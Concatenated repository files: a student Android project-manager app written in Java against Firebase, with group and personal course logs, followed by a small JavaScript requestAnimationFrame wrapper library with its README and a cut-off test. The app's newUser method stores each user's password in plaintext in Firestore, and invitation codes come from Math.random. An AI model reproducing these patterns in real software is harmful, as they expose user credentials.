}
/*
*
*
*/
public void newUser(final String eMail, final String name, final String password)
{
//Variables
// Program Code
mAuth.createUserWithEmailAndPassword( eMail, password).addOnCompleteListener( new OnCompleteListener<AuthResult>() {
@Override
public void onComplete(@NonNull Task<AuthResult> task) {
if ( task.isSuccessful())
{
userID = mAuth.getCurrentUser().getUid();
Map<String, Object> user = new HashMap<>();
user.put( "Name", name);
user.put( "Password", <PASSWORD>);
user.put( "Email Adress", eMail);
user.put( "Project Number", 0);
DocumentReference ref = fStore.collection( "users").document(userID);
ref.set( user).addOnSuccessListener(new OnSuccessListener<Void>() {
@Override
public void onSuccess(Void aVoid) {
}
});
}
}
});
}
/*
*
*
*/
public void setcurrentUserID( String currentUserName)
{
this.currentUserName = currentUserName;
}
/*
*
*
*/
public String getCurrentUserName()
{
return currentUserName;
}
/*
*
*
*/
public String RandomString() {
String charSequence = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "0123456789" + "abcdefghijklmnopqrstuvxyz";
StringBuilder sb = new StringBuilder(10);
for (int i = 0; i < 10; i++) {
int index = (int)(charSequence.length() * Math.random());
sb.append(charSequence.charAt(index));
}
return sb.toString();
}
/*
*
*
*/
public String createProject( String name, String describtion, String startDate, String endDate)
{
String inventation;
inventation = RandomString();
Map<String, Object> project = new HashMap<>();
project.put( "Name", name);
project.put( "Describtion", describtion);
project.put( "startDate", startDate);
project.put( "endDate", endDate);
project.put( "ProjectCode", inventation);
DocumentReference ref = fStore.collection( "Projects").document(inventation);
ref.set( project).addOnSuccessListener(new OnSuccessListener<Void>() {
@Override
public void onSuccess(Void aVoid) {
}
});
return inventation;
}
public String addProjectToUser(final String invantation, String name)
{
final DatabaseReference ref;
final DatabaseReference[] ref1 = new DatabaseReference[1];
DocumentReference ref2;
Map<String, Object> user = new HashMap<>();
final String[] key = new String[1];
userID = mAuth.getCurrentUser().getUid();
ref2 = fStore.collection( "Projects").document(invantation);
ref = database.getReference(name);
ref2.get().addOnSuccessListener(new OnSuccessListener<DocumentSnapshot>() {
@Override
public void onSuccess(DocumentSnapshot documentSnapshot) {
ref1[0] = ref.child( "Project " + documentSnapshot.getString("Name"));
ref1[0].setValue( invantation);
}
});
return invantation;
}
public void setArray( String s)
{
this.asd = s;
}
public String getArray()
{
return asd;
}
}
<file_sep># CS102 ~ Group Meetings Log page ~
Below is a record of our project group meetings. This page will be submitted together with the rest of the repository, in partial fulfillment of the CS102 course requirements.
****
### Meeting ~ (25.04.2020)
****
**Present:** Funda, Cem, Elifnur, Onat _**Absent:**_ Ece
**Discussion:**
Trying to learn and understand how android studio, database, and uml works.
**ToDo:** Cem and Elifnur will look at android studio and database, Funda will look at uml, and Onat will look at firebase.
****
### Meeting ~ (02.05.2020, 5 min)
****
**Present:** Funda, Cem, Elifnur, Ece _**Absent:**_ Onat
**Discussion:**
We reviewed what each member has already done and assigned new works.
**ToDo:** Cem has done the administration page and connected it to a database so he will continue with the options menu, Elifnur and Funda will continue with the pages from options menu, Ece will complete the GitHub logs.
****
### Meeting ~ (04.05.2020)
****
**Present:** Funda, Onat, Cem, Elifnur, Ece _**Absent:**_ None
**Discussion:**
Reviewed the already done page frames, and assigned classes.
**ToDo:**
Assigned classes:
Cem: the DatabaseStorage, RandomString, YourProject classes
Elifnur: the CreateProject, and AccountSettings classes
Onat: the MainProjectPage, and ProjectActivity classes
Ece: the RegisterPage, and AdministrationPage classes
Funda: The NewFrame, and ParticipantsMainPage classes
****
### Meeting ~ (12.05.2020)
****
**Present:** Cem, Funda, Ece _**Absent:**_ Onat, Elifnur
**Discussion:**
Just checked on each other.
**ToDo:**
****
### Meeting ~ (14.05.2020)
****
**Present:** Cem, Elifnur, Onat, Ece _**Absent:**_ Funda
**Discussion:**
We discussed how far we are in our parts and also completed detailed design report.
**ToDo:**
****
<file_sep># CS102 ~ Personal Log page ~
****
## <NAME> ~ 21801861
****
On this page I will keep a weekly record of what I have done for the CS102 group project. This page will be submitted together with the rest of the repository, in partial fulfillment of the CS102 course requirements.
### ~ 27.04.2020 ~
This week I tried to get familiar with Android Studio and shared my ideas with the group.
### ~ 04.05.2020 ~
This week I started working on NewFrame page their methods.
### ~ 11.05.2020 ~
This week I finished NewFrame and stated working on ParticipantsMainPage class. Cem will make this classes work with database.
### ~ What did I learn? ~
I learnt new technologies like Android Studio and Firebase and using them in a project. Also, I learnt how to integrate my code
with my group members, debugging.
****
<file_sep>package com.example.myapplication;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.LinearLayout;
import com.google.firebase.database.DataSnapshot;
import com.google.firebase.database.DatabaseError;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
import com.google.firebase.database.ValueEventListener;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import javax.net.ssl.SSLContext;
/**
* _This class show assignments of a project ___
* @author __<NAME> and <NAME>___
* @version __19-05-2019__
*/
public class AssignmentsProject extends AppCompatActivity {
//Porperties
private String name;
private String invitationCode;
private String assignmentCode;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_assignments_project);
final Intent get = getIntent();
name = get.getStringExtra("name");
invitationCode = get.getStringExtra("ProjectCode");
FirebaseDatabase database;
database = FirebaseDatabase.getInstance();
final DatabaseReference ref = database.getReference(name + " Assignment");
final LinearLayout linearLayout = findViewById(R.id.LinearLayout);
final LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(
LinearLayout.LayoutParams.MATCH_PARENT,
LinearLayout.LayoutParams.WRAP_CONTENT);
params.setMargins( 100, 50, 100, 0);
for (int i = 0; i < 20; i++) {
final Button button = new Button(this);
button.setBackground( this.getResources().getDrawable( R.drawable.buttunbackground));
final int finalI = i;
ref.addValueEventListener(new ValueEventListener() {
@Override
public void onDataChange(@NonNull DataSnapshot dataSnapshot) {
final Map<String, Object> map = (Map<String, Object>) dataSnapshot.getValue();
assert map != null;
final List<String> valueList = new ArrayList<String>(map.keySet());
if( finalI < valueList.size()) {
assignmentCode = (String) map.get( valueList.get(finalI));
System.out.println( assignmentCode);
button.setText(valueList.get(finalI));
button.setLayoutParams(params);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent ıntent = new Intent(AssignmentsProject.this, AssignmentView.class);
ıntent.putExtra("Project Name", valueList.get(finalI));
ıntent.putExtra("Assignment Code", (String) map.get( valueList.get(finalI)));
ıntent.putExtra("ProjectCode", get.getStringExtra("name"));
startActivity(ıntent);
}
});
if(linearLayout.getParent() == null) {
((ViewGroup)linearLayout.getParent()).removeView(linearLayout);
}
linearLayout.addView(button);
}
}
@Override
public void onCancelled(@NonNull DatabaseError databaseError) {
}
});
}
Button backButton = new Button(this);
backButton.setText( "Back");
backButton.setLayoutParams(params);
backButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent mainPage = new Intent( AssignmentsProject.this, MainProjectPage.class);
mainPage.putExtra("Project Name", name);
mainPage.putExtra("ProjectCode", invitationCode);
startActivity(mainPage);
}
});
backButton.setBackground( this.getResources().getDrawable( R.drawable.backcuttonbackground));
linearLayout.addView(backButton);
}
}
<file_sep># CS102 ~ Personal Log page ~
****
## <NAME> ~ 21704028
****
On this page I will keep a weekly record of what I have done for the CS102 group project. This page will be submitted together with the rest of the repository, in partial fulfillment of the CS102 course requirements.
### ~ 27.04.2020 ~
This week I started looking at Android Studio patterns and Firebase, discussed how should we start and proceed with our project with my group.
### ~ 04.05.2020 ~
This week we assigned different classes for each member and I started looking for ways of writing the MainProjectPage class. In addition, I will work on integrating the others' codes to the database with Cem.
### ~ 11.05.2020 ~
This week I kept working on the MainProjectPage class and the buttons are done. The functions of these buttons will cover the rest of my work with the design and database parts.
### ~ 18.05.2020 ~
We met a lot as a group and made the last bits of changes, then we recorded our project demo. I edited the video and uploaded it to Youtube.
### What did I learn?
Although my part of code wasn't very huge, the main struggle was to correctly combine the others' code and to integrate it to Firebase. I learnt features of Firebase and structure of AndroidStudio during the project period, also, this was a great practice for me to organize teammates and work as a group.
****
<file_sep>package com.example.myapplication;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import android.accounts.AccountManagerFuture;
import android.content.Intent;
import android.graphics.drawable.Drawable;
import android.os.Bundle;
import android.util.Log;
import android.view.Gravity;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.EditText;
import android.widget.LinearLayout;
import com.google.android.gms.tasks.OnCompleteListener;
import com.google.android.gms.tasks.OnSuccessListener;
import com.google.android.gms.tasks.Task;
import com.google.firebase.auth.FirebaseAuth;
import com.google.firebase.database.DataSnapshot;
import com.google.firebase.database.DatabaseError;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
import com.google.firebase.database.ValueEventListener;
import com.google.firebase.firestore.CollectionReference;
import com.google.firebase.firestore.DocumentReference;
import com.google.firebase.firestore.DocumentSnapshot;
import com.google.firebase.firestore.FirebaseFirestore;
import com.google.firebase.firestore.QueryDocumentSnapshot;
import com.google.firebase.firestore.QuerySnapshot;
import java.util.AbstractSequentialList;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.Map;
import java.util.concurrent.atomic.AtomicMarkableReference;
/**
* _This class show projects of a user ___
* @author __<NAME>___
* @version __10-05-2019__
*/
public class YourProjects extends AppCompatActivity {
//Properties
String userID;
ArrayList<String> projects = new ArrayList<String>();
ArrayList<String> list = new ArrayList<String>();
String name;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_your_projects);
Intent get = getIntent();
name = get.getStringExtra("name");
final LinearLayout linearLayout = findViewById(R.id.LinearLayout);
FirebaseAuth mAuth = FirebaseAuth.getInstance();
userID = mAuth.getCurrentUser().getUid();
FirebaseDatabase database;
database = FirebaseDatabase.getInstance();
for (int i = 0; i < 20; i++) {
DatabaseReference ref = database.getReference(name);
final Button button = new Button(this);
button.setBackground( this.getResources().getDrawable( R.drawable.buttunbackground));
final Intent projectFrame = new Intent( YourProjects.this, MainProjectPage.class);
final int finalI = i;
ref.addValueEventListener(new ValueEventListener() {
@Override
public void onDataChange(@NonNull DataSnapshot dataSnapshot) {
Map<String, Object> map = (Map<String, Object>) dataSnapshot.getValue();
final List<String> valueList = new ArrayList<String>(map.keySet());
List<String> valueList2 = new ArrayList<String>(Collections.singleton(String.valueOf(map.values())));
final String invitaitionCode;
if (finalI < valueList.size()) {
invitaitionCode = (String) map.get( valueList.get(finalI));
button.setText( valueList.get(finalI));
LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(
LinearLayout.LayoutParams.MATCH_PARENT,
LinearLayout.LayoutParams.WRAP_CONTENT);
params.setMargins( 100, 50, 100, 0);
button.setLayoutParams(params);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
projectFrame.putExtra( "ProjectCode", invitaitionCode);
projectFrame.putExtra( "Project Name", valueList.get(finalI));
startActivity( projectFrame);
}
});
if(linearLayout.getParent() == null) {
((ViewGroup)linearLayout.getParent()).removeView(linearLayout);
}
linearLayout.addView(button);
}
}
@Override
public void onCancelled(@NonNull DatabaseError databaseError) {
}
});
}
final Intent backToMainMenu = new Intent( YourProjects.this, NewFrame.class);
Button backButton = new Button(this);
backButton.setText( "Back to Menu");
backButton.setBackground( this.getResources().getDrawable( R.drawable.backcuttonbackground));
linearLayout.addView(backButton);
backButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity( backToMainMenu);
}
});
}
}
<file_sep>package com.example.myapplication;
import java.util.ArrayList;
public class Project {
//Variables
private String project1;
private String project2;
private String project3;
//Constructors
public Project( String project1, String project2, String project3){
this.project1 = project1;
this.project2 = project2;
this.project3 = project3;
}
public Project( String project1, String project2 ){
this.project1 = project1;
this.project2 = project2;
}
public Project( String project1){
this.project1 = project1;
}
public Project()
{
this.project1 = "sadad";
}
//Methods
public String getProject1()
{
return project1;
}
public String getProject2()
{
return project2;
}
public String getProject3()
{
return project3;
}
}
<file_sep>package com.example.myapplication;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import com.google.android.gms.tasks.OnSuccessListener;
import com.google.firebase.auth.FirebaseAuth;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
import com.google.firebase.firestore.DocumentReference;
import com.google.firebase.firestore.DocumentSnapshot;
import com.google.firebase.firestore.FirebaseFirestore;
import java.util.HashMap;
import java.util.Map;
/**
* _This class add a assignment to database ___
* @author __<NAME>___
* @version __22-05-2019__
*/
public class AddAssignment extends AppCompatActivity {
//Properties
private EditText assignmentName;
private EditText assignmentDescription;
private EditText assignmentEndDate;
private EditText assignmentStartDate;
private Button addAssignment;
private String assignmentCode;
private FirebaseFirestore fStore;
private FirebaseAuth mAuth;
private FirebaseDatabase database;
//Methods
/**
* add assignment's unique code to project in database
* @param name name of the assignment
* @param projectCode project's unique code for take variables from database
* @param assignmentCode1 assignment's unique code for add it to project in database
*/
public void addAssignmentToProject(final String name, String projectCode, String assignmentCode1)
{
fStore = FirebaseFirestore.getInstance();
mAuth = FirebaseAuth.getInstance();
database = FirebaseDatabase.getInstance();
final DatabaseReference ref;
final DatabaseReference[] ref1 = new DatabaseReference[1];
ref = database.getReference(projectCode + " Assignment");
ref1[0] = ref.child( name);
ref1[0].setValue( assignmentCode1);
}
/**
* add assignment's unique code to user in database
* @param name name of the assignment
* @param userName user's unique code for take variables from database
* @param assignmentCode1 assignment's unique code for add it to project in database
*/
public void addAssignmentToUser(final String name, String userName, String assignmentCode1)
{
fStore = FirebaseFirestore.getInstance();
mAuth = FirebaseAuth.getInstance();
database = FirebaseDatabase.getInstance();
final DatabaseReference ref;
final DatabaseReference[] ref1 = new DatabaseReference[1];
ref = database.getReference(userName + " Assignment");
ref1[0] = ref.child( name);
ref1[0].setValue( assignmentCode1);
}
/**
* create a random string for assignment's unique code
* @return a random string with 10 character length
*/
public String RandomString() {
String charSequence = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "0123456789" + "abcdefghijklmnopqrstuvxyz";
StringBuilder sb = new StringBuilder(10);
for (int i = 0; i < 10; i++) {
int index = (int)(charSequence.length() * Math.random());
sb.append(charSequence.charAt(index));
}
return sb.toString();
}
public void define()
{
FirebaseFirestore fStore = FirebaseFirestore.getInstance();
Intent get = getIntent();
assignmentCode = RandomString();
assignmentName = findViewById(R.id.editText7);
assignmentDescription = findViewById(R.id.editText8);
assignmentEndDate = findViewById(R.id.editText10);
assignmentStartDate = findViewById(R.id.editText9);
Map<String, Object> project = new HashMap<>();
project.put( "Name", assignmentName.getText().toString());
project.put( "Describtion", assignmentDescription.getText().toString());
project.put( "startDate", assignmentStartDate.getText().toString());
project.put( "endDate", assignmentEndDate.getText().toString());
project.put( "Assignments Code", assignmentCode);
project.put( "Assignments Project", get.getStringExtra("Project Name"));
project.put( "Assignments User", get.getStringExtra("name"));
addAssignmentToProject( assignmentName.getText().toString(), get.getStringExtra("Project Name"), assignmentCode);
addAssignmentToUser(assignmentName.getText().toString(), get.getStringExtra("name"), assignmentCode);
DocumentReference ref = fStore.collection( "Assignments").document(assignmentCode);
ref.set( project).addOnSuccessListener(new OnSuccessListener<Void>() {
@Override
public void onSuccess(Void aVoid) {
}
});
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_add_assignment);
addAssignment = findViewById(R.id.button7);
addAssignment.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent backToMainPage = new Intent( AddAssignment.this, ParticipantMainPage.class);
define();
startActivity(backToMainPage);
}
});
}
}
<file_sep># CS102 ~ Personal Log page ~
****
## <NAME>
****
On this page I will keep a weekly record of what I have done for the CS102 group project. This page will be submitted together with the rest of the repository, in partial fulfillment of the CS102 course requirements.
### ~ 27.04.2020 ~
This week, I tried to learn Android Studio program and shared our ideas on design and project.
### ~ 04.05.2020 ~
This week I started writing the CreateProject class, except database part, and continued to create user interfaces on Android Studio.
### ~ 11.05.2020 ~
This week I started writing the AccountSettings class, except database part.
### ~ What did I learn? ~
I learned to combine the codes and protect the whole by doing as group project. I learned a little about the database and learned to use Android Studio.
****
<file_sep>package com.example.myapplication;
import androidx.appcompat.app.AppCompatActivity;
import android.annotation.SuppressLint;
import android.content.Intent;
import android.os.Bundle;
import android.provider.Telephony;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
/**
* _This class is main page of project and show buttons ___
* @author __<NAME>___
* @version __17-05-2019__
*/
public class MainProjectPage extends AppCompatActivity {
//Properties
private TextView editTextName;
private Button assignmentButton;
private Button participantButton;
private Button progressionButton;
private String name;
private String invitationCode;
//Methods
/**
* This method defines all buttons and text views
*/
public void define()
{
editTextName = findViewById( R.id.textView4);
participantButton = findViewById( R.id.button6);
assignmentButton = findViewById(R.id.button2);
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main_project_page);
define();
Intent get = getIntent();
name = get.getStringExtra("Project Name");
invitationCode = get.getStringExtra( "ProjectCode");
editTextName.setText( name);
participantButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent( MainProjectPage.this, ParticipantsPage.class);
intent.putExtra( "name", name);
intent.putExtra( "ProjectCode", invitationCode);
startActivity( intent);
}
});
assignmentButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent( MainProjectPage.this, AssignmentsProject.class);
intent.putExtra( "name", name);
intent.putExtra( "ProjectCode", invitationCode);
startActivity( intent);
}
});
}
}
<file_sep># CS102 ~ Personal Log page ~
****
## <NAME> 21801879
****
On this page I will keep a weekly record of what I have done for the CS102 group project. This page will be submitted together with the rest of the repository, in partial fulfillment of the CS102 course requirements.
### ~ 27.04.2020 ~
This week I tried to get comfortable with Android Studio and shared my ideas on design.
### ~ 04.05.2020 ~
This week I was assigned with register page, administration page, and main activity classes. My register page codes will be combined with Cem's. I tried to plan my hierarchies and started to write my classes.
### ~ 13.05.2020 ~
This week I completed register page and administration page codes, and Cem will connect it to the database. I moved to writing the main activity classes. Hopefully I will quickly complete them.
### ~ 18.05.2020 ~
We recorded our presentation video together, I talked about the general idea of our project and the log in/sign up pages.
### ~ What did I learn? ~
This project was the opportunity for me learn how to use Android Studio, besides that I learned a bit about databases. I also learned how to work with other people's codes and how to combine them.
****
<file_sep>package com.example.myapplication;
import androidx.appcompat.app.AppCompatActivity;
import androidx.fragment.app.Fragment;
import androidx.fragment.app.FragmentTransaction;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
/**
* _This class show account settings to user ___
* @author __<NAME>___
* @version __11-05-2019__
* @not___ not completed___
*/
public class AccountSettings extends AppCompatActivity {
//Properties
private Button resetPassword;
private Button backTomainMenu;
//Methods
public void define()
{
resetPassword = findViewById(R.id.button6);
backTomainMenu = findViewById(R.id.button7);
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_account_settings);
define();
backTomainMenu.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent toMainMenu = new Intent( AccountSettings.this, NewFrame.class);
startActivity( toMainMenu);
}
});
/*resetPassword.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
getSupportFragmentManager().beginTransaction()
.replace( R.id.fragmentlayout, new ProjectPageFragment1(), "fragment")
.setTransitionStyle( FragmentTransaction.TRANSIT_FRAGMENT_FADE)
.commit();
}
});
*/
}
}
<file_sep>package com.example.myapplication;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import com.google.android.gms.tasks.OnSuccessListener;
import com.google.firebase.auth.FirebaseAuth;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
import com.google.firebase.firestore.DocumentReference;
import com.google.firebase.firestore.DocumentSnapshot;
import com.google.firebase.firestore.FirebaseFirestore;
import java.util.HashMap;
import java.util.Map;
/**
* _This class add a project to database ___
* @author __<NAME> and <NAME>___
* @version __17-05-2019__
*/
public class CreateProject extends AppCompatActivity {
//properties
private DatabaseStorage strg;
private EditText projectName;
private EditText projectDescribtion;
private EditText projectStartDate;
private EditText projectEndDate;
private Button createProjectButton;
private String name;
private String startDate;
private String endDate;
private String describtion;
private String invitation;
private String userID;
private FirebaseAuth mAuth;
private FirebaseDatabase database;
private FirebaseFirestore fStore;
//Methods
/**
* add user's unique code to project in database
* @param name name of the user
* @param projectCode assignment's unique code for add it to user in database
*/
public void addUserToProject( String name, String projectCode)
{
fStore = FirebaseFirestore.getInstance();
mAuth = FirebaseAuth.getInstance();
database = FirebaseDatabase.getInstance();
final DatabaseReference ref;
final DatabaseReference[] ref1 = new DatabaseReference[1];
DocumentReference ref2;
userID = mAuth.getCurrentUser().getUid();
ref2 = fStore.collection( "users").document(userID);
ref = database.getReference(projectCode);
ref2.get().addOnSuccessListener(new OnSuccessListener<DocumentSnapshot>() {
@Override
public void onSuccess(DocumentSnapshot documentSnapshot) {
ref1[0] = ref.child( documentSnapshot.getString("Name"));
ref1[0].setValue( userID);
}
});
}
/**
* create a random string for assignment's unique code
* @return a random string with 10 character length
*/
public String RandomString() {
String charSequence = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "0123456789" + "abcdefghijklmnopqrstuvxyz";
StringBuilder sb = new StringBuilder(10);
for (int i = 0; i < 10; i++) {
int index = (int)(charSequence.length() * Math.random());
sb.append(charSequence.charAt(index));
}
return sb.toString();
}
/**
* add assignment's unique code to user in database
* @param name name of the project
* @param describtion describtion of the project
* @param startDate start date of the project
* @param endDate end date of the project
*/
public String createProject( String name, String describtion, String startDate, String endDate)
{
fStore = FirebaseFirestore.getInstance();
mAuth = FirebaseAuth.getInstance();
database = FirebaseDatabase.getInstance();
String inventation;
inventation = RandomString();
Map<String, Object> project = new HashMap<>();
project.put( "Name", name);
project.put( "Describtion", describtion);
project.put( "startDate", startDate);
project.put( "endDate", endDate);
project.put( "ProjectCode", inventation);
DocumentReference ref = fStore.collection( "Projects").document(inventation);
ref.set( project).addOnSuccessListener(new OnSuccessListener<Void>() {
@Override
public void onSuccess(Void aVoid) {
}
});
return inventation;
}
/**
* add assignment's unique code to user in database
* @param name name of the project
* @param invitation project's unique code for add it in database
*/
public String addProjectToUser(final String invitation, String name)
{
fStore = FirebaseFirestore.getInstance();
mAuth = FirebaseAuth.getInstance();
database = FirebaseDatabase.getInstance();
final DatabaseReference ref;
final DatabaseReference[] ref1 = new DatabaseReference[1];
DocumentReference ref2;
Map<String, Object> user = new HashMap<>();
final String[] key = new String[1];
userID = mAuth.getCurrentUser().getUid();
ref2 = fStore.collection( "Projects").document(invitation);
ref = database.getReference(name);
ref2.get().addOnSuccessListener(new OnSuccessListener<DocumentSnapshot>() {
@Override
public void onSuccess(DocumentSnapshot documentSnapshot) {
ref1[0] = ref.child( "Project " + documentSnapshot.getString("Name"));
ref1[0].setValue( invitation);
}
});
return invitation;
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_create_project);
strg = new DatabaseStorage();
projectName = findViewById(R.id.editText7);
projectDescribtion = findViewById(R.id.editText8);
projectStartDate = findViewById(R.id.editText9);
projectEndDate = findViewById(R.id.editText10);
createProjectButton = findViewById(R.id.button7);
createProjectButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent get = getIntent();
name = projectName.getText().toString().trim();
startDate = projectStartDate.getText().toString().trim();
describtion = projectDescribtion.getText().toString().trim();
endDate = projectEndDate.getText().toString().trim();
Intent createProject = new Intent(CreateProject.this, RandomString.class);
invitation = createProject( name, describtion, startDate, endDate);
addProjectToUser(invitation, get.getStringExtra( "name"));
addUserToProject( get.getStringExtra( "name"), invitation);
createProject.putExtra( "inventation", invitation);
createProject.putExtra( "Project Name", name);
startActivity( createProject);
}
});
}
}
|
6771ee070b2250f0fd0abf6707e50a507745cbbb
|
[
"Markdown",
"Java"
] | 17
|
Markdown
|
Funda-Tan/ProjectManager
|
96ec34bf06f4e1185056cc0791533aba9d7b2b41
|
c7673d008a6b36d457bff2d6e57222b764068950
|
refs/heads/master
|
<repo_name>aaronmccall/rifraf<file_sep>/README.md
# rifraf
A simple requestAnimationFrame (rAF) wrapper/polyfill with added iteratee creator.
## Polyfill notes
- The polyfill is a very naïve setTimeout wrapper. For a more robust polyfill, I recommend the [raf](https://npmjs.org/package/raf) module.
- The default "frame-rate" for the polyfill is 120Hz or an 8ms delay.
## API
All examples below assume that you've already required rifraf: `var rifraf = require('rifraf');`
### The Basics
#### request(`<Function> fn`, `<Object:optional> ctx`)
Queues a callback to run before the next frame. Returns the rAF (or timeout, if polyfilled) handle. Pre-binds optional context object, if provided.
```javascript
// rifraf.request returns the runtime-assigned handle that can be used to cancel the callback
var handle = rifraf.request(function () {
// code to run before next frame
});
```
#### cancel(`handle`)
Cancels a previously request using the returned handle.
```javascript
// where handle is the return value of a rifraf.request call
rifraf.cancel(handle);
```
### The Extras
#### iteratee(`<Function> fn`, `<Object:optional> ctx`)
**alias**: _deferred_
Used to defer expensive iterations or event handlers that need to wait until after all current DOM operations complete. Returns a new function that when called queues fn bound with ctx or its own this and its arguments.
```javascript
// with context object
$('a[href]').each(rifraf.iteratee(function (i, el) {
if ($(el).data('id') === this.id) {
// expensive DOM ops here
}
}, {id: 1}));
// without context object
$('a[href]').each(rifraf.iteratee(function () {
var $el = $(this);
// expensive DOM ops here
}));
```
#### delay(`<Function> fn`, `<Object:optional> ctx`, `<Number:optional> _delay`)
When you want to defer a function call, but your desired frame rate differs from native, `delay` is for you. Pre-binds context, if provided.
```javascript
// with context
rifraf.delay(function () {
console.log('My name is %s', this.name);
}, {name: 'Foo'});
// the next two are equivalent and will set the delay to ~24ms
rifraf.delay(function () {}, 24);
rifraf.delay(function () {}, null, 24);
```
#### delayed(`<Function> fn`, `<Object:optional> ctx`, `<Number:optional> delay`)
Used like `iteratee`, but when you want to `delay` not simply defer to next native frame. Call signature matches `delay`.
```javascript
var delayedDefault = rifraf.delayed(function (i, el) {
console.log('href:', this.href);
});
$('a[href]').each(delayedDefault);
var delayed24ms = rifraf.delayed(function () {}, 24);
```
#### sync120Hz()
Sets default delay time for `delay`, `delayed` (and polyfilled `request` and `iteratee`) methods to 8ms (roughly: 1000 / 120).
#### sync60Hz()
Sets default delay time for `delay`, `delayed` (and polyfilled `request` and `iteratee`) methods to 16ms (roughly: 1000 / 60).
#### sync30Hz()
Sets default delay time for `delay`, `delayed` (and polyfilled `request` and `iteratee`) methods to 33ms (roughly: 1000 / 30).
#### sync(`<Number> delay`)
Sets default delay time for `delay`, `delayed` (and polyfilled `request` and `iteratee`) methods to `{delay}`ms.
<file_sep>/index.js
var request, cancel, root;
var syncDelay = 8;
var isNative = true;
function ctxDelayWrapper(func) {
return function (fn, _ctx, _delay) {
var ctx = _ctx;
var delay = _delay;
if (typeof _ctx === 'number' && typeof _delay === 'undefined') {
delay = _ctx;
ctx = void 0;
}
return func(fn, ctx, delay);
}
}
function fakeRAF (fn, _delay) {
var delay = _delay !== void 0 ? _delay : syncDelay;
return root.setTimeout(fn, delay);
}
if (!(request && cancel)) {
root = (function () { return this; })();
request = (root.requestAnimationFrame || root.mozRequestAnimationFrame || root.webkitRequestAnimationFrame || fakeRAF);
cancel = root.cancelAnimationFrame || root.mozCancelAnimationFrame || root.webkitCancelAnimationFrame || root.webkitCancelRequestAnimationFrame || root.clearTimeout;
if (cancel === root.clearTimeout || request === fakeRAF) {
isNative = false;
request = fakeRAF;
}
}
function iteratee(fn, ctx) {
return function _iteratee() {
request(fn.apply.bind(fn, ctx || this, arguments));
};
}
var delay = ctxDelayWrapper(function _delay(fn, ctx, _delay) {
if (typeof ctx === 'object') fn = fn.bind(ctx);
return fakeRAF(fn, _delay);
});
var iterateeFake = ctxDelayWrapper(function _iterateeFake(fn, ctx, _delay) {
return function _iterateeFake() {
fakeRAF(fn.apply.bind(fn, ctx || this, arguments), _delay);
}
});
function sync(_delay) {
return typeof _delay === 'number' && (syncDelay = _delay);
}
var later = ctxDelayWrapper(function _later(fn, ctx, _delay) {
return delay(iteratee(fn, ctx), _delay);
});
var latered = ctxDelayWrapper(function _latered(fn, ctx, _delay) {
return iterateeFake(iteratee(fn, ctx), _delay);
});
module.exports = {
isNative: isNative,
request: function (fn, ctx) {
return request.call(root, (arguments.length > 1) ? fn.bind(ctx) : fn);
},
iteratee: iteratee,
deferred: iteratee,
delay: isNative ? later : delay,
delayed: isNative ? latered : iterateeFake,
cancel: cancel.bind(root),
sync120Hz: sync.bind(root, 8),
sync60Hz: sync.bind(root, 16),
sync30Hz: sync.bind(root, 33),
sync: sync
};
<file_sep>/test/main.js
var test = require('tape');
var now = require('performance-now');
var rifraf = require('../index');
function get7() {
var i = 0;
var l = 7;
var set = [];
for (; i < l; i++) {
set.push({index: i});
}
return set;
}
if (rifraf.isNative) {
test('#request defers approximately 16ms by default', function (t) {
t.plan(7);
var set = get7();
var i = 0;
var start;
function tick(dt) {
var prev = set[i-1];
var item = set[i++];
item.time = performance.now();
if (prev && i > 2) t.ok((item.time - start) >= 0, 'time has passed: ' + (item.time - prev.time).toFixed(3));
if (item.index === 6) {
start = set[1].time;
